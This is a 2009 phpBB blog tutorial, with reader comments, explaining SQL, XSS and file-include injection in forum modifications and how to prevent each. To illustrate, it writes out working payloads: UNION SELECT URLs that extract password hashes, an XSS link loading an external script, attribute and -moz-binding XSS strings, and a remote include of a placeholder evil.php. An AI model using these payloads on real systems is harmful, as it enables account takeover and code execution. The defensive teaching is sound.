Blog

Tutorial: Injection Vulnerability Prevention

Posted by TerraFrost in Development, Modifications with the tags , , on February 12th, 2009


Notice
Some websites have claimed this article discloses an “injection vulnerability” in phpBB. It does not. What this post actually does is provide an overview of vulnerabilities commonly introduced by third-party modifications to phpBB and discusses what the authors of said modifications need to do to protect their code against attack.

Despite being among the easiest of vulnerabilities to understand, injection vulnerabilities are also among the most common. For most users, they will simply manifest themselves as an error when select characters are used, but a sufficiently adept user may be able to take that error and exploit it to their advantage.

To prevent this from happening, one needs to properly sanitize all user definable variables. Unfortunately, the way one properly sanitizes a variable depends on where it’s being used. In this post, we’ll discuss how to sanitize variables for use in SQL queries and in HTML, in general and in phpBB3, and we’ll discuss what can happen if proper sanitization isn’t used.

Before we begin, consider the following code (intended to be ran from the root directory of a sandboxed phpBB3 installation):

Code: Select all
<?php
/**
*
* @package phpBB3
* @version $Id$
* @copyright (c) mmviii phpBB Group
* @license to be determined.
*
*/

/**
* @ignore
*/
define('IN_PHPBB'true);
$phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH './';
$phpEx substr(strrchr(__FILE__'.'), 1);
include(
$phpbb_root_path 'common.' $phpEx);

if (!isset(
$_GET['username']))
{
    exit;
}

if (
get_magic_quotes_gpc())
{
    
$_GET['username'] = stripslashes($_GET['username']);
}

$sql "SELECT user_website FROM " USERS_TABLE " WHERE username = '" $_GET['username'] . "'";
$db->sql_query($sql);
$user_website $db->sql_fetchfield('user_website');
if (
$user_website !== false)
{
    echo 
$_GET['username'] . ' == ' $user_website;
}
else
{
    echo 
$_GET['username'] . ' not found';
}
?>

On the surface, it’s a fairly innocuous piece of code. Some admin, for whatever reason, is too lazy to look at a users profile to get their website, so they write this tool, instead. The conditional stripslashes, presumably, wouldn’t have been added by this admin, but, for reasons that’ll hopefully become clear, later, I’ve added it, all the same. For now, just pretend it isn’t there.

SQL Injection

Exploiting it.

Say Vic D'Elfant is a member of your board. Or maybe he isn’t but you thought he was – it doesn’t really matter.

Anyway, you want to see what his websites URL is, so you go the following:

http://www.example.com/phpBB3/test.php?username=Vic%20D%27Elfant

Upon visiting it, you get an SQL error. That, right off the bat, is a problem, although it does beg the question… why? Well, consider the SQL code that that query string resulted in:

SELECT user_website FROM phpbb_users WHERE username = 'Vic D'Elfant'

The part in red shouldn’t be there.

Now, how could an adept user take advantage of this? Well, to answer that, consider that that part in red can be absolutely anything, including, but not limited to this:

http://www.example.com/phpBB3/test.php?username=Vic%20D%27%20UNION%20SELECT%20user_password%20FROM%20phpbb_users%20WHERE%20user_id%20=%202%20%23

Upon visiting that URL, you’ll see a password hash! An attacker could brute force that to get your password! Here’s the SQL query that that produced:

SELECT user_website FROM phpbb_users WHERE username = 'Vic D' UNION SELECT user_password FROM phpbb_users WHERE user_id = 2 #'

What was an error, marked in red, in the last SQL query, is now valid SQL, marked in green. If you’re unfamiliar with UNIONs, that’s not really too important – sufficient to say, if a user can break an SQL query they can also modify it and exploit it to their advantage. Just how badly they can exploit it depends on the query, itself, and on the SQL Server being used. If MSSQL is being used, you can daisy chain queries, so instead of doing UNION SELECT user_password FROM phpbb_users WHERE user_id = 2 # you can do ; UPDATE phpbb_users SET user_password = 'whatever' WHERE user_id = 2 #. On MySQL, since queries cannot be daisy chained (unless you’re using mysqli_multi_query, or whatever), UPDATE user_website = '<user definable input>' WHERE username = '<user definable input>' is worse than the above SELECT, as, if you set the first user definable input to “', user_password = 'whatever” and the second user definable input to “2“, you’ve pretty much changed the first users password to a password you, presumably, know.

Prevention

SQL injection can be prevented by making sure your input cannot be used to modify the SQL. If you’re inserting what’s supposed to be an integer into an SQL query cast it to an integer before inserting it. Or do an is_int() check, do preg_replace('#[\D]#', …) on it, etc – just make sure what’s ultimately inserted is an integer.If you’re inserting a string into an SQL query, escape it by replacing all instances of the string delimiter (usually a single quote) with two copies of that string delimiter (eg. ' turns into ''). A lot of SQL Servers also let you escape with backslashes, even though this is not what the official SQL specifications say to do. As such, you also need to escape backslashes by prefacing them with another backslash (eg. \ turns into \\).

In lieu of escaping it, you could replace all instances of the string delimiter and all backslashes with an empty string or you could check the input against a whitelist, etc – whatever you do, just make sure that neither the string delimiter nor the backslash character appear or that if they do that they’re escaped.

phpBB2 prevents SQL injection by conditionally (depending on if magic_quotes_gpc is enabled, which get_magic_quotes_gpc() tests for) passing all $_GET, $_POST, and $_COOKIE variables through addslashes. After that, you’ll need to either cast to an integer or do replace all instances of \' (which is what addslashes turns ' into) with '' (assuming that’s your string delimiter). The problem with this approach is that it doesn’t work on databases using multibyte encoding schemes.

phpBB3 prevents SQL injection by providing a multibyte safe $db->sql_escape() function. $db->sql_build_array() calls $db->sql_escape() for you, as well.

If, in phpBB3, you’re looking to use an integer in a SELECT – ie. SELECT username FROM phpbb_users WHERE user_id = whatever – request_var() can also be used, assuming the type of the second parameter is an integer. ie. request_var('user_id', 0) works but request_var('user_id', '0') doesn’t. This is because request_var() casts $_GET['user_id'] / $_POST['user_id'] to the second parameters type and casting a string to a string doesn’t prevent that variable from containing valid SQL whereas casting it to an integer does.

HTML Injection

(more commonly known as XSS)

Exploiting it.

How one might fully exploit HTML Injection is actually fairly poorly understood. Consider what it’s popularly called – XSS – an acronym for Cross Site Scripting (CSS was already being used by web developers for Cascading Style Sheets). For many years, the worst case scenario was that someone would use it to steal your cookies – that they’d send them to another site and then reuse them, themselves. They’d make their own cookies match yours and then, in theory, they’d be able to log in as you.

Sessions, used properly, can mitigate this risk considerably. phpBB, for instance, records the IP address in the session table and validates the first x bits of the IP address against every IP address that would attempt to use that session. This means that, by default, 192.168.1.100 can’t login to a website as 10.0.0.1 – the first 24 bits (or groups or whatever you want to call them) won’t match so the session identifier of 10.0.0.1 can’t be used by 192.168.1.100 and vice versa. phpBB3 further extends this by validating the User-Agent, as well.

The problem with HTML Injection is that it can do so much more than simple cookie stealing. On modern browsers, you can use the XmlHttpRequest object (eg. AJAX) to essentially emulate a user. That users cookies are going to be sent with each XmlHttpRequest and the XmlHttpRequest object will, in the end, have access to everything that the user has access to. It’s for this reason that HTML Injection really should be considered an enabling attack. It enables an attacker to do anything that you can do and perhaps even better than you. Samy – a so-called XSS worm that hit MySpace – is a good example of this. It used XmlHttpRequest’s to add itself to the viewing users page. One user views an “infected” profile, getting “infected”, themselves, and then you have two “infected” users where once there was just one.

There are two main types of HTML injections – persistent ones and reflected ones. The difference between the two is that a reflected HTML injection contains the payload in the URL whereas a persistent one does not. As such, users aren’t likely to stumble across a reflected HTML injection without some sort of social engineering taking place. Of course, arguably, social engineering of that nature is not all that difficult. Consider the following:

mr. admin person – it looks like your website has been hacked:

http://www.example.com/phpBB3/test.php?username=%3Cbo%64%79%3E%3Cscr%69pt%20src%3D%68ttp%3A%2F%2F%68a%2Eckers%2Eorg%2Fs%2E%6As%3E%3C%2Fscr%69pt%3E

Whether or not that kind of plea would convince you to click on the link is secondary to the fact that that link is a benign example of reflected HTML injection.

Prevention

To prevent HTML injection, you need to, basically, prevent the characters of < and >. You can do so by refusing to output the input if it contains < and >, you could delete them and then output the input, or you could replace them with something else – ideally, their escaped form as returned by htmlspecialchars() – ie. &gt; and &lt;.In phpBB3, request_var() does htmlspecialchars() for you when the second parameter is a string (or an array containing strings, or whatever). If you use user defined data you got from request_var() in an SQL INSERT and later pull it out with an SQL SELECT you don’t need to re-escape it because it’s already been escaped.

Of course, there’s also attribute injection, Javascript injection, CSS injection, etc, that kinda fall within the aegis of HTML injection. That < and > can’t be inserted doesn’t mean that you always need to use those characters, anyway. Consider the following:

  • <img src=<user definable input>>
    Set to “. onerror=alert(1)“.
    Can be prevented by (1) encapsulating the attribute with double quotes and (2) escaping the double quotes that do occur with their htmlspecialchars()’d form – &quot;. If you use single quotes, you can set the optional second parameter to ENT_QUOTES.
  • <script>alert('<user definable input>');</script>
    Set to “'); alert(1); //“.
    htmlspecialchars with ENT_QUOTES works if you’re okay with < and > being replaced with &lt; and gt;, respectively, even in the javascript popup dialog box, but if you’re not, you’ll have to do is str_replace(array('<', '>'), array('\<', '\>'), addslashes($_GET['whatever']))
  • <font style=<user definable input>>
    Set to “-moz-binding:url(http://www.example.com/phpBB3/download/file.php?id=1#xss)” and upload xssmoz.xml.
    Assuming attribute injection has been prevented (as discussed above), the best solution is probably going to be to just check the input against a regular expression or something.

If you want to learn more vectors one might use in carrying out an HTML injection, this website is helpful:

http://ha.ckers.org/xss.html

Include Injection

Exploiting it.

If you go to include/db/mysql.php, you’ll see that it starts off with this:

Code: Select all
<?php
/**
*
* @package dbal
* @version $Id: mysql.php 8815 2008-09-04 13:37:01Z acydburn $
* @copyright (c) 2005 phpBB Group
* @license http://opensource.org/licenses/gpl-license.php GNU Public License
*
*/

/**
* @ignore
*/
if (!defined('IN_PHPBB'))
{
    exit;
}

include_once(
$phpbb_root_path 'includes/db/dbal.' $phpEx); 

Why is that conditional exit there? We can remove it to find out. Well, remove it and enable the PHP directives register_globals and allow_url_fopen. Once that’s done go to the following URL:

http://www.example.com/phpBB3/includes/db/dbal.php?phpbb_root_path=http://www.example2.com/evil.php?

In this way, an adept user can execute PHP code of their choosing on your server.

Let’s say, however, that allow_url_fopen is disabled along with magic_quotes_gpc. Then, if you uploaded a file with PHP code appended to it – let’s call it image.jpg, be it an avatar or an attachment or whatever, you could do this:

http://www.example.com/phpBB3/includes/db/dbal.php?phpbb_root_path=/path/to/image.jpg%00

That is also known as null byte injection. To better understand how that works, try to append a chr(0) . 'asdfasdfasdf' to an include that does work and you’ll see that it works just the same. magic_quotes_gpc needs to be disabled because otherwise “\0” will be turned into “\\0” by it.

phpBB3’s file upload functionality, incidentally, makes this pretty much impossible. As noted in the blog post Attachment Headaches with the Internet Explorer, “[phpBB3] changed the naming scheme of the files on the server to stop attackers from guessing them“. As such, phpBB3’s file upload functionality isn’t really going to help you. If another webapp was installed on the same domain or if an attacker was able to guess at the location of the Apache logfiles, an adept user might be able to use that to their advantage, but phpBB3, itself, would be insufficient.

Prevention

In the case of phpBB, the solution is to either explicitly define $phpbb_root_path and $phpEx, as it is in such files as viewtopic.php, or to make sure the !defined('IN_PHPBB') part exists. In the more general case, like include($_GET['filename'] . '.php'), you could check $_GET['filename'] against a whitelist.

Closing Comments

That’s pretty much it for injection exploits that are relevant to phpBB3. Other types of injection exploits unrelated to phpBB3 (for the most part) are buffer overflow exploits (which are impossible in PHP, although the PHP interpreter, itself, may contain them), LDAP injections, serialize injection, etc.

I guess the last real bit of information that’s needed is… just what variables are user definable? That’d be $_GET, $_POST, $_COOKIE, and $_SERVER['HTTP_*']. Some of the other $_SERVER variables are harder to figure out. $_SERVER['PHP_SELF'] cannot entirely be trusted per this article, for instance. Also, if you save the contents of user-definable variables to a database and pull it back out, later, with an SQL query, the data you pulled out would be user-definable, too.

Non-injection exploits relevant to phpBB include CSRF (cross-site request forgery), register_globals, and just random logic errors. For instance, granting access to the ACP without a password… that’s not really an injection exploit or CSRF or anything – that’s just a bad idea, period. Same thing for doing exec($_GET['var']). I suppose that could actually be an injection error depending on how you used it. ie. eval('ls ' . $_GET['var']) could be use to pipe commands on Linux assuming proper sanitization wasn’t being done, but sufficient to say, sanitization doesn’t fix everything.

21 Responses to “Tutorial: Injection Vulnerability Prevention”

Posted by Green Light on February 12th, 2009 at 11:35 pm:

wow, that’s a little difficult to comprehend.. I’ll need read that again a few times 😛

This will come in handy when I create a small CMS for my website. 😉

Thanks for the article.

Posted by Nelsaidi on February 19th, 2009 at 10:23 pm:

Wouldnt escaping strings using mysql_real_escape_string($string) be better than stripslashes? That command is done by the sql creatpors or whatever, and I rely on it, and seems to do its job better :).

What you need to make sure, is NEVER trust ANY input, ALWAYS escape it if its being entered into a database, better yet validate it and escape it.

And never include a file you dont, ie include ?page= , dont do an include($var), i got hacked on my first site that way 😛 – Note, XSS can resultin someone taking complete control over your site, viewing files, deleting files, modifinyg, etc.

Posted by Nelsaidi on February 19th, 2009 at 10:25 pm:

Ps – no edit :/
The PHPBB blog posts are very useful when they are related to PHP, you should do em more often!

Posted by typefreak on February 20th, 2009 at 9:20 pm:

As far as I know, the following example (from the prevention paragraph of sql injections)
preg_replace(‘#[\d]#’, …)
will remove all digits, rather than removing all non-digits. The correct way would be:
preg_replace(‘#[\D]#’, …)

Posted by typefreak on February 20th, 2009 at 9:43 pm:

In total: Good article, I hope this will help people to code safer. SQL injections are, regretably, quite common. Even some security companies don’t escape the input properly:
http://www.thetechherald.com/article.php/200907/2919

Posted by Nelsaidi on February 20th, 2009 at 10:17 pm:

Microsoft got injected not long ago!

Posted by c4p0ne on February 22nd, 2009 at 6:21 pm:

The worst part is that there are devastating injection vulns out there that no one knows about because the individual(s) who discover them, simply do NOT share or even so much as produce a PEEP that something is even wrong with the forum they’ve just pwnt. THAT is the most dangerous part. So called “0-day” exploits that can decimate a forums’ security and there’s very little one can do about it. Thankfully there are measures that can be taken for vicious undisclosed vulnerabilities. Problem is, no one takes them.

Posted by Bonochromatic on February 24th, 2009 at 11:56 am:

TerraFrost, great article, and thanks for sharing your extensive knowledge on the topic of security.

I’m wondering if you (or a reader) could condense this down to a short list of “action items” – concrete steps a user can take with a PHPBB3 installation to prevent such attacks from occurring.

Posted by TerraFrost on February 25th, 2009 at 11:45 pm:

Wouldnt escaping strings using mysql_real_escape_string($string) be better than stripslashes? That command is done by the sql creatpors or whatever, and I rely on it, and seems to do its job better :).

Indeed it is. That’s actually why I said “The problem with [the phpBB2] approach is that it doesn’t work on databases using multibyte encoding schemes.” 😉

What you need to make sure, is NEVER trust ANY input, ALWAYS escape it if its being entered into a database, better yet validate it and escape it.

Defintely. Well, one caveat – if you validate your input to make sure it only contains a-z you don’t really need to escape stuff, heh.

As far as I know, the following example (from the prevention paragraph of sql injections)
preg_replace(’#[\d]#’, …)
will remove all digits, rather than removing all non-digits. The correct way would be:
preg_replace(’#[\D]#’, …)

Good catch – you’re quite correct 🙂

I’m wondering if you (or a reader) could condense this down to a short list of “action items” – concrete steps a user can take with a PHPBB3 installation to prevent such attacks from occurring.

phpBB3, out of the box, is quite secure, although keeping up-to-date is still highly recommended. The problem is MODs. MODs that have been officially released on phpbb.com have been validated and so those can generally be assumed to be secure since the MOD Team specifically looks for security issues, among other things. If they find such issues, the MOD is denied acceptance into our database. Of course, you’d still need to keep up-to-date with MODs, as well. You can do this by subscribing to the MOD update list.

Posted by Jason on February 26th, 2009 at 7:58 pm:

Fortunately, if you use MySQL, the mysql_query() function does not permit query stacking, or executing multiple queries in a single function call. If you try to stack queries, the call fails.

Posted by M1nn0w on March 1st, 2009 at 1:42 am:

I recently trapped a guest that entered this as a Requested URI:

/index.php?func=member&user=\%27+union+select+0,0,0,0,0,0,0,0,0,0,username,pas%20sword,0,0,0,0,0,user_type+from+members+where+user_type=2/*

I attempted to simulate this by entering it following my domain name in my browser. It brought up my website but did nothing else.

Am I safe in assuming that since I came up empty, that my guest did also???

Posted by TerraFrost on March 2nd, 2009 at 4:19 am:

I wouldn’t worry about it. You can try to SQL inject anything you like, from static HTML to google.com – doesn’t mean you’re going to succeed. The only thing that them showing up in the access logs means is that someone tried.

Besides, virgin phpBB3’s don’t even do anything with $_GET[‘func’] or $_GET[‘user’] on index.php or any other file. memberlist.php uses $_GET[‘u’] and $_GET[‘un’] but not $_GET[‘user’]. To top it all off, phpBB3 has no table named members. users, yes, prefixed with $table_prefix (as defined in config.php), but not members.

Posted by M1nn0w on March 2nd, 2009 at 5:14 am:

Thank You for your reply. I do, indeed, get lots of these attempts. Seems like the world is full of “people” that just need to try…….

Take care and again, Thanks.

M1nn0w

Posted by Patrick on March 9th, 2009 at 12:51 pm:

> and < are not a good replacement for because firefox (v2 for sure) interprets them egually (I tried within javascript). I replace them on my forum with « and »

Posted by Patrick on March 9th, 2009 at 12:52 pm:

of course I ment: &gt ; and &lt ; in my post, but they have been interpreted.

Posted by suitlocal on March 11th, 2009 at 5:11 am:

firefox interprets &lt;script&gt; and <script> the same? demo please.

Posted by FoS on March 12th, 2009 at 7:17 pm:

Firefox does not interpret them the same. It displays one and interprets the other. Perhaps the application is deciphering them instead?

Posted by fun on March 18th, 2009 at 12:45 am:

I agree with Green Light. That’s a whole lot to comprehend. Please tell me if my phpbb3 is safe without me having to add a bunch of that coding to it. Also, is my phpbb2 forum safe? I wanted to update number two to a three, but I am so confused on the process. It looks fun and easy, but I’m sure I’ll mess it up 🙁

If I were to allow HTML on the forum, which tags are safe? I really don’t want to allow it except for admin, but, I’m not sure if that modification has been developed yet (like I had with phpbb2).

Thanks for the cool article. It scares me a lot. I feel helpless 🙁

Posted by TerraFrost on March 25th, 2009 at 5:08 pm:

I agree with Green Light. That’s a whole lot to comprehend. Please tell me if my phpbb3 is safe without me having to add a bunch of that coding to it. Also, is my phpbb2 forum safe? I wanted to update number two to a three, but I am so confused on the process. It looks fun and easy, but I’m sure I’ll mess it up 🙁

If I were to allow HTML on the forum, which tags are safe? I really don’t want to allow it except for admin, but, I’m not sure if that modification has been developed yet (like I had with phpbb2).

Thanks for the cool article. It scares me a lot. I feel helpless 🙁

Like I said in this post, phpBB3 is very safe, out of the box, although you’ll still need to keep it up-to-date. Your ACP will let you know if a new version is available, although if you don’t log into it very often, you might want to consider subscribing to phpbb.com’s RSS feed.

As for allowing select HTML tags… although phpBB2 supported HTML, phpBB3 does not. HTML support was removed because securing HTML is not a trivial problem. Obviously, <script> is bad, but <img> is just as bad if the onload or onerror attributes are used. And style is potentially just as bad, as well.

Posted by Jim G on April 19th, 2009 at 1:51 pm:

Much of this is over my head but I noticed recently in a phpbb bulletin board that I created that I have been getting ‘registered’ users that clearly are automated submissions. I changed the permissions to the site to require administrator activation of user accounts. On a daily basis I may receive 4 to 10 ‘inactive accounts that are clearly bogus. I was wondering how it is able to circumvent the aithentication process to establish these accounts and how does one prevent this from happening?

Posted by TerraFrost on April 20th, 2009 at 3:52 pm:

Try posting in the 3.0.x Support Forum. That forum – unlike this topic – is frequented by members of the Support Team. This blog post, in contrast, is only, as far as I know, frequented by me.

The Support Team has more experience giving general support than I do, can offer support at all hours of the day (I don’t know about you, but I, at the very least, require sleep, so that’s at least eight hours a day that you will not get support from me), etc.

Commenting is disabled for this blog post